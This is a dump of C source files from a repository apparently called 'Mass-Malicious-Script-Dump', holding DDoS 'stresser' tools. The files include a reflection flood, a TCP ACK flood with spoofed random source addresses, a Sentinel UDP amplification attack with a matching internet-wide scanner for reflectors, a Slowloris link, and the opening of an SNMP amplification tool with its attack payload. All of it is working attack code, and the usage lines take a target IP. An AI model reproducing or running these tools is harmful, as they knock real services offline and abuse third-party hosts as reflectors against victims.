103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/Stresser/SACK/sack_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | 
 21 | #define MAX_PACKET_SIZE 65534
 22 | #define PHI 0x9e3779b9
 23 | 
 24 | static unsigned long int Q[4096], c = 362436;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 | 
 29 | void init_rand(unsigned long int x)
 30 | {
 31 | 	int i;
 32 | 	Q[0] = x;
 33 | 	Q[1] = x + PHI;
 34 | 	Q[2] = x + PHI + PHI;
 35 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 36 | }
 37 | unsigned long int rand_cmwc(void)
 38 | {
 39 | 	unsigned long long int t, a = 18782LL;
 40 | 	static unsigned long int i = 4095;
 41 | 	unsigned long int x, r = 0xfffffffe;
 42 | 	i = (i + 1) & 4095;
 43 | 	t = a * Q[i] + c;
 44 | 	c = (t >> 32);
 45 | 	x = t + c;
 46 | 	if (x < c) {
 47 | 		x++;
 48 | 		c++;
 49 | 	}
 50 | 	return (Q[i] = r - x);
 51 | }
 52 | unsigned short csum (unsigned short *buf, int count)
 53 | {
 54 | 	register unsigned long sum = 0;
 55 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 56 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 57 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 58 | 	return (unsigned short)(~sum);
 59 | }
 60 | 
 61 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 62 | 
 63 | 	struct tcp_pseudo
 64 | 	{
 65 | 		unsigned long src_addr;
 66 | 		unsigned long dst_addr;
 67 | 		unsigned char zero;
 68 | 		unsigned char proto;
 69 | 		unsigned short length;
 70 | 	} pseudohead;
 71 | 	unsigned short total_len = iph->tot_len;
 72 | 	pseudohead.src_addr=iph->saddr;
 73 | 	pseudohead.dst_addr=iph->daddr;
 74 | 	pseudohead.zero=0;
 75 | 	pseudohead.proto=IPPROTO_TCP;
 76 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 77 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 78 | 	unsigned short *tcp = malloc(totaltcp_len);
 79 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 80 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 81 | 	unsigned short output = csum(tcp,totaltcp_len);
 82 | 	free(tcp);
 83 | 	return output;
 84 | }
 85 | 
 86 | void setup_ip_header(struct iphdr *iph)
 87 | {
 88 | 	iph->ihl = 5;
 89 | 	iph->version = 4;
 90 | 	iph->tos = 0;
 91 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 92 | 	iph->id = htonl(54321);
 93 | 	iph->frag_off = 0;
 94 | 	iph->ttl = MAXTTL;
 95 | 	iph->protocol = 6;
 96 | 	iph->check = 0;
 97 | 	iph->saddr = inet_addr("192.168.3.100");
 98 | }
 99 | 
100 | void setup_tcp_header(struct tcphdr *tcph)
101 | {
102 | 	tcph->source = rand();
103 | 	tcph->seq = rand();
104 | 	tcph->ack_seq = rand();
105 | 	tcph->res2 = 0;
106 | 	tcph->doff = 5;
107 | 	tcph->ack = 1;
108 | 	tcph->window = htons(65535);
109 | 	tcph->check = 0;
110 | 	tcph->urg_ptr = 0;
111 | }
112 | 
113 | void *flood(void *par1)
114 | {
115 | 	char *td = (char *)par1;
116 | 	char datagram[MAX_PACKET_SIZE];
117 | 	struct iphdr *iph = (struct iphdr *)datagram;
118 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
119 | 	
120 | 	struct sockaddr_in sin;
121 | 	sin.sin_family = AF_INET;
122 | 	sin.sin_port = rand();
123 | 	sin.sin_addr.s_addr = inet_addr(td);
124 | 
125 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
126 | 	if(s < 0){
127 | 		fprintf(stderr, "Could not open raw socket.\n");
128 | 		exit(-1);
129 | 	}
130 | 	memset(datagram, 0, MAX_PACKET_SIZE);
131 | 	setup_ip_header(iph);
132 | 	setup_tcp_header(tcph);
133 | 
134 | 	tcph->dest = rand();
135 | 
136 | 	iph->daddr = sin.sin_addr.s_addr;
137 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
138 | 
139 | 	int tmp = 1;
140 | 	const int *val = &tmp;
141 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
142 | 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
143 | 		exit(-1);
144 | 	}
145 | 
146 | 	init_rand(time(NULL));
147 | 	register unsigned int i;
148 | 	i = 0;
149 | 	while(1){
150 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
151 | 
152 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
153 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
154 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
155 | 		tcph->seq = rand_cmwc() & 0xFFFF;
156 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
157 | 		tcph->check = 0;
158 | 		tcph->check = tcpcsum(iph, tcph);
159 | 		
160 | 		pps++;
161 | 		if(i >= limiter)
162 | 		{
163 | 			i = 0;
164 | 			usleep(sleeptime);
165 | 		}
166 | 		i++;
167 | 	}
168 | }
169 | int main(int argc, char *argv[ ])
170 | {
171 | 	if(argc < 5){
172 | 		fprintf(stderr, "Improper ACK flood parameters!\n");
173 | 		fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
174 | 		exit(-1);
175 | 	}
176 | 
177 | 	fprintf(stdout, "Setting up Sockets...\n");
178 | 
179 | 	int num_threads = atoi(argv[2]);
180 | 	int maxpps = atoi(argv[3]);
181 | 	limiter = 0;
182 | 	pps = 0;
183 | 	pthread_t thread[num_threads];
184 | 	
185 | 	int multiplier = 100;
186 | 
187 | 	int i;
188 | 	for(i = 0;i<num_threads;i++){
189 | 		pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
190 | 	}
191 | 	fprintf(stdout, "Starting Flood...\n");
192 | 	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
193 | 	{
194 | 		usleep((1000/multiplier)*1000);
195 | 		if((pps*multiplier) > maxpps)
196 | 		{
197 | 			if(1 > limiter)
198 | 			{
199 | 				sleeptime+=100;
200 | 			} else {
201 | 				limiter--;
202 | 			}
203 | 		} else {
204 | 			limiter++;
205 | 			if(sleeptime > 25)
206 | 			{
207 | 				sleeptime-=25;
208 | 			} else {
209 | 				sleeptime = 0;
210 | 			}
211 | 		}
212 | 		pps = 0;
213 | 	}
214 | 
215 | 	return 0;
216 | }


--------------------------------------------------------------------------------
/Stresser/SENTINEL/sentinel_amp_attack.c:
--------------------------------------------------------------------------------
  1 | /* NEW AND IMPROVED SENTINEL AMPLIFICATION ATTACK SCRIPT */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 6;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 | 	udph->dest = htons(5093);
 80 | 	udph->check = 0;
 81 | 	memcpy((void *)udph + sizeof(struct udphdr), "\x7A\x00\x00\x00\x00\x00", 6);
 82 | 	udph->len=htons(sizeof(struct udphdr) + 6);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/Stresser/SENTINEL/sentinel_amp_scanner.c:
--------------------------------------------------------------------------------
  1 | /* Sentinel Scanner */
  2 | 
  3 | #include <pthread.h>
  4 | #include <unistd.h>
  5 | #include <stdio.h>
  6 | #include <stdlib.h>
  7 | #include <string.h>
  8 | #include <sys/socket.h>
  9 | #include <netinet/in.h>
 10 | #include <signal.h>
 11 | #include <sys/time.h>
 12 | #include <sys/types.h>
 13 | #include <math.h>
 14 | #include <ctype.h>
 15 | #include <errno.h>
 16 | #include <arpa/inet.h>
 17 | #include <netinet/ip.h>
 18 | #include <netinet/udp.h>
 19 | 
 20 | volatile int running_threads = 0;
 21 | volatile int found_srvs = 0;
 22 | volatile unsigned long per_thread = 0;
 23 | volatile unsigned long start = 0;
 24 | volatile unsigned long scanned = 0;
 25 | volatile int sleep_between = 0;
 26 | volatile int bytes_sent = 0;
 27 | volatile unsigned long hosts_done = 0;
 28 | FILE *fd;
 29 | char payload[] =
 30 | "\x7A\x00\x00\x00\x00\x00";
 31 | 
 32 | size = sizeof(payload);
 33 | 
 34 | void *flood(void *par1)
 35 | {
 36 |     running_threads++;
 37 |     int thread_id = (int)par1;
 38 |     unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
 39 |     unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
 40 |     unsigned long w;
 41 |     int y;
 42 |     unsigned char buf[65536];
 43 |     memset(buf, 0x01, 6);
 44 |     int sizeofpayload = 6;
 45 |     int sock;
 46 |     if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
 47 |         perror("cant open socket");
 48 |         exit(-1);
 49 |     }
 50 |     for(w=ntohl(start_ip);w<htonl(end);w++)
 51 |     {
 52 |         struct sockaddr_in servaddr;
 53 |         bzero(&servaddr, sizeof(servaddr));
 54 |         servaddr.sin_family = AF_INET;
 55 |         servaddr.sin_addr.s_addr=htonl(w);
 56 |         servaddr.sin_port=htons(5093);
 57 |         sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
 58 |         bytes_sent+=size;
 59 |         scanned++;
 60 |         hosts_done++;
 61 |     }
 62 |     close(sock);
 63 |     running_threads--;
 64 |     return;
 65 | }
 66 | 
 67 | void sighandler(int sig)
 68 | {
 69 |     fclose(fd);
 70 |     printf("\n");
 71 |     exit(0);
 72 | }
 73 | 
 74 | void *recievethread()
 75 | {
 76 |     printf("\n");
 77 |     int saddr_size, data_size, sock_raw;
 78 |     struct sockaddr_in saddr;
 79 |     struct in_addr in;
 80 | 
 81 |     unsigned char *buffer = (unsigned char *)malloc(65536);
 82 |     sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
 83 |     if(sock_raw < 0)
 84 |     {
 85 |         printf("Socket Error\n");
 86 |         exit(1);
 87 |     }
 88 |     while(1)
 89 |     {
 90 |         saddr_size = sizeof saddr;
 91 |         data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
 92 |         if(data_size <0 )
 93 |         {
 94 |             printf("Recvfrom error , failed to get packets\n");
 95 |             exit(1);
 96 |         }
 97 |         struct iphdr *iph = (struct iphdr*)buffer;
 98 |         if(iph->protocol == 17)
 99 |         {
100 |             unsigned short iphdrlen = iph->ihl*4;
101 |             struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
102 |             unsigned char* payload = buffer + iphdrlen + 6;
103 |             if(ntohs(udph->source) == 5093)
104 |             {
105 |                 int body_length = data_size - iphdrlen - 6;
106 | 
107 |                 if (body_length > 40)
108 | 
109 |                 {
110 |                 found_srvs++;
111 | 
112 |                 fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
113 |                 fflush(fd);
114 |                 }
115 |             }
116 |         }
117 |     }
118 |     close(sock_raw);
119 | }
120 | 
121 | int main(int argc, char *argv[ ])
122 | {
123 | 
124 |     if(argc < 6){
125 | 		fprintf(stderr, "Invalid parameters!\n");
126 |         fprintf(stdout, "Usage: %s <ip range start (1.0.0.0)> <ip range end (255.255.255.255)> <outfile> <threads> <scan delay in ms>\n", argv[0]);
127 |         exit(-1);
128 |     }
129 |     fd = fopen(argv[3], "a");
130 |     sleep_between = atoi(argv[5]);
131 | 
132 |     signal(SIGINT, &sighandler);
133 | 
134 |     int threads = atoi(argv[4]);
135 |     pthread_t thread;
136 | 
137 |     pthread_t listenthread;
138 |     pthread_create( &listenthread, NULL, &recievethread, NULL);
139 | 
140 |     char *str_start = malloc(18);
141 |     memset(str_start, 0, 18);
142 |     str_start = argv[1];
143 |     char *str_end = malloc(18);
144 |     memset(str_end, 0, 18);
145 |     str_end = argv[2];
146 |     start = inet_addr(str_start);
147 |     per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
148 |     unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
149 |     int i;
150 |     for(i = 0;i<threads;i++){
151 |         pthread_create( &thread, NULL, &flood, (void *) i);
152 |     }
153 |     sleep(1);
154 |     printf("Scan in Progress \n");
155 |     char *temp = (char *)malloc(17);
156 |     memset(temp, 0, 17);
157 |     sprintf(temp, "Found");
158 |     printf("%-16s", temp);
159 |     memset(temp, 0, 17);
160 |     sprintf(temp, "IP/s");
161 |     printf("%-16s", temp);
162 |     memset(temp, 0, 17);
163 |     sprintf(temp, "Bytes/s");
164 |     printf("%-16s", temp);
165 |     memset(temp, 0, 17);
166 |     sprintf(temp, "Threads");
167 |     printf("%-16s", temp);
168 |     memset(temp, 0, 17);
169 |     sprintf(temp, "Percent Done");
170 |     printf("%s", temp);
171 |     printf("\n");
172 | 
173 |     char *new;
174 |     new = (char *)malloc(16*6);
175 |     while (running_threads > 0)
176 |     {
177 |         printf("\r");
178 |         memset(new, '\0', 16*6);
179 |         sprintf(new, "%s|%-15lu", new, found_srvs);
180 |         sprintf(new, "%s|%-15d", new, scanned);
181 |         sprintf(new, "%s|%-15d", new, bytes_sent);
182 |         sprintf(new, "%s|%-15d", new, running_threads);
183 |         memset(temp, 0, 17);
184 |         int percent_done=((double)(hosts_done)/(double)(toscan))*100;
185 |         sprintf(temp, "%d%%", percent_done);
186 |         sprintf(new, "%s|%s", new, temp);
187 |         printf("%s", new);
188 |         fflush(stdout);
189 |         bytes_sent=0;
190 |         scanned = 0;
191 |         sleep(1);
192 |     }
193 |     printf("\n");
194 |     fclose(fd);
195 |     return 0;
196 | }


--------------------------------------------------------------------------------
/Stresser/SLOWLORIS/slow:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/SLOWLORIS/slow


--------------------------------------------------------------------------------
/Stresser/SNMP/snmp_attack.c:
--------------------------------------------------------------------------------
  1 | /* 
  2 | 	
  3 | 	SNMP DDoS 
  4 | 
  5 | */
  6 | 
  7 | #include 		<stdio.h>
  8 | #include 		<string.h>
  9 | #include 		<unistd.h>
 10 | #include 		<stdlib.h>
 11 | #include		<netinet/in_systm.h>
 12 | 
 13 | #include 		<sys/types.h>
 14 | #include 		<sys/socket.h>
 15 | #include 		<netinet/in.h>
 16 | #include 		<arpa/inet.h>
 17 | #include		<netinet/ip.h>
 18 | #include		<netinet/udp.h>
 19 | 
 20 | 
 21 | 
 22 | #include <sys/types.h>
 23 | #include <sys/socket.h>
 24 | #include <netinet/in.h>
 25 | #include <arpa/inet.h>
 26 | 	
 27 | 
 28 | struct sockaddr_in dest;
 29 | 
 30 | int sok,i=0, count=0, loop=0, lcount=0; 
 31 | 
 32 | char *source, *filename; 
 33 | char c;
 34 | 
 35 | FILE *hostfile;
 36 | char buf[32];
 37 | u_long address[2048];
 38 | int num = 0, n;
 39 | 
 40 | char snmpkill[] =
 41 | "\x30\x24\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x17\x02"
 42 | "\x04\x7b\x73\xcc\x13\x02\x01\x00\x02\x01\x64\x30\x09\x30\x07\x06"
 43 | "\x03\x2b\x06\x01\x05";
 44 | 
 45 | 
 46 | 
 47 |  
 48 | in_cksum (unsigned short *ptr, int nbytes)
 49 | {
 50 | 
 51 |   register long sum;		/* assumes long == 32 bits */
 52 |   u_short oddbyte;
 53 |   register u_short answer;	/* assumes u_short == 16 bits */
 54 | 
 55 |   /*
 56 |    * Our algorithm is simple, using a 32-bit accumulator (sum),
 57 |    * we add sequential 16-bit words to it, and at the end, fold back
 58 |    * all the carry bits from the top 16 bits into the lower 16 bits.
 59 |    */
 60 | 
 61 |   sum = 0;
 62 |   while (nbytes > 1)
 63 |     {
 64 |       sum += *ptr++;
 65 |       nbytes -= 2;
 66 |     }
 67 | 
 68 |   /* mop up an odd byte, if necessary */
 69 |   if (nbytes == 1)
 70 |     {
 71 |       oddbyte = 0;		/* make sure top half is zero */
 72 |       *((u_char *) & oddbyte) = *(u_char *) ptr;	/* one byte only */
 73 |       sum += oddbyte;
 74 |     }
 75 | 
 76 |   /*
 77 |    * Add back carry outs from top 16 bits to low 16 bits.
 78 |    */
 79 | 
 80 |   sum = (sum >> 16) + (sum & 0xffff);	/* add high-16 to low-16 */
 81 |   sum += (sum >> 16);		/* add carry */
 82 |   answer = ~sum;		/* ones-complement, then truncate to 16 bits */
 83 |   return (answer);
 84 | }
 85 | 
 86 | 
 87 | void usage (void)
 88 | {
 89 | printf("SNMP DoS v1.0\n");
 90 | printf("Usage: snmpdos  [-t target ip_addr] [-f host file] [-l loop count] \n");
 91 | }
 92 | 
 93 | 
 94 | 
 95 | 
 96 | 
 97 | void loadfile (void)
 98 | {
 99 |     if ((hostfile = fopen(filename, "r")) == NULL)
100 |      {
101 |         perror("Opening hostfile");
102 |         exit(-1);
103 |      }
104 | 
105 |     while (fgets(buf, sizeof buf, hostfile) != NULL)
106 |     {
107 |         char *p;
108 |         int valid;
109 | 
110 |         /* skip over comments/blank lines */
111 |         if (buf[0] == '#' || buf[0] == '\n') continue;
112 | 
113 |         /* get rid of newline */
114 |         buf[strlen(buf) - 1] = '\0';
115 | 
116 |         /* check for valid address */
117 |         for (p = buf, valid = 1; *p != '\0'; p++)
118 |         {
119 |             if ( ! isdigit(*p) && *p != '.' )
120 |             {
121 |                 fprintf(stderr, "Skipping invalid ip %s\n", buf);
122 |                 valid = 0;
123 |                 break;
124 |             }
125 |         }
126 | 
127 |         /* if valid address, copy to our array */
128 |         if (valid)
129 |         {
130 |             address[num] = inet_addr(buf);
131 |             num++;
132 |             if (num == 2048)
133 |                 break;
134 |         }
135 |     }
136 | 
137 | }
138 | 
139 | 
140 | 
